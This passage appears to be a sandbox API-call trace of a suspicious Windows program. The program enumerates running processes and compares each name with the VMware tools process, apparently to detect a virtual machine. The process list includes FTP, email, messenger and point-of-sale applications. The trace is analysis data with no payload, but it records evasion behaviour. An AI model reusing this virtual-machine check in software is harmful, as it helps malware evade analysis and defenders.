lpString1="big.exe", cchCount1=7, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.625] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="production tend.exe")) returned 1 [0133.626] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="production tend.exe", cchCount1=19, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.626] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="painting.exe")) returned 1 [0133.627] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="painting.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.627] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="armalreadyoutside.exe")) returned 1 [0133.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="armalreadyoutside.exe", cchCount1=21, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.628] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="particular-crime.exe")) returned 1 [0133.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="particular-crime.exe", cchCount1=20, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.629] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="sea-travel-style.exe")) returned 1 [0133.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sea-travel-style.exe", cchCount1=20, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.630] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="behind-town.exe")) returned 1 [0133.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="behind-town.exe", cchCount1=15, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.631] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="player_pay_half.exe")) returned 1 [0133.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="player_pay_half.exe", cchCount1=19, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.632] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="privateperformborn.exe")) returned 1 [0133.633] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="privateperformborn.exe", cchCount1=22, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.633] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="for receive.exe")) returned 1 [0133.636] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="for receive.exe", cchCount1=15, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.637] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="meet_seat_sometimes.exe")) returned 1 [0133.638] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="meet_seat_sometimes.exe", cchCount1=23, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.638] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution_big_direction.exe")) returned 1 [0133.639] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="institution_big_direction.exe", cchCount1=29, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.639] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0133.640] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3dftp.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.640] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0133.641] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="absolutetelnet.exe", cchCount1=18, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.641] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0133.642] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="alftp.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.642] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0133.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="barca.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.643] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0133.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bitkinex.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.644] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0133.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="coreftp.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.645] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0133.645] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="far.exe", cchCount1=7, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.646] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0133.646] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="filezilla.exe", cchCount1=13, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.647] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0133.658] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="flashfxp.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.658] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0133.659] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fling.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.659] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0133.660] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="foxmailincmail.exe", cchCount1=18, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.661] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0133.662] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gmailnotifierpro.exe", cchCount1=20, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.662] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0133.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="icq.exe", cchCount1=7, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.664] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0133.667] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="leechftp.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.667] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0133.669] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ncftp.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.669] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0133.670] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="notepad.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.670] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0133.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="operamail.exe", cchCount1=13, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.671] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0133.673] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="outlook.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.673] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0133.674] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pidgin.exe", cchCount1=10, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.674] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0133.675] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="scriptftp.exe", cchCount1=13, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.675] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0133.677] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="skype.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.677] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0133.678] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="smartftp.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.678] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0133.687] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="thunderbird.exe", cchCount1=15, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.687] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0133.688] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="trillian.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.688] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0133.690] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="webdrive.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 3 [0133.690] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0133.691] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="whatsapp.exe", cchCount1=12, lpString2="vmtoolsd.exe", cchCount2=12) returned 3 [0133.691] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0133.692] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="winscp.exe", cchCount1=10, lpString2="vmtoolsd.exe", cchCount2=12) returned 3 [0133.692] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0133.693] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yahoomessenger.exe", cchCount1=18, lpString2="vmtoolsd.exe", cchCount2=12) returned 3 [0133.693] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0133.694] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="active-charge.exe", cchCount1=17, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.694] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0133.698] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="accupos.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.698] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0133.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afr38.exe", cchCount1=9, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.699] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0133.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aldelo.exe", cchCount1=10, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.700] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0133.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ccv_server.exe", cchCount1=14, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.701] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0133.702] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="centralcreditcard.exe", cchCount1=21, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.702] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0133.703] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="creditservice.exe", cchCount1=17, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.703] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0133.704] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="edcsvr.exe", cchCount1=10, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.704] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0133.705] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fpos.exe", cchCount1=8, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.705] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0133.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="isspos.exe", cchCount1=10, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.706] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0133.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mxslipstream.exe", cchCount1=16, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.711] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0133.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="omnipos.exe", cchCount1=11, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.713] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0133.714] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spcwin.exe", cchCount1=10, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.714] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0133.715] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spgagentservice.exe", cchCount1=19, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.715] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1014, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0133.716] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="utg2.exe", cchCount1=8, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.716] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="education.exe")) returned 1 [0133.717] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="education.exe", cchCount1=13, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.717] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: lppe=0xbdf2d8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x102c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x678, pcPriClassBase=8, dwFlags=0x0, szExeFile="hairfederal.exe")) returned 1 [0133.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hairfederal.exe", cchCount1=15, lpString2="vmtoolsd.exe", cchCount2=12) returned 1 [0133.718] Process32NextW (in: hSnapshot=0x208, lppe=0xbdf2d8 | out: 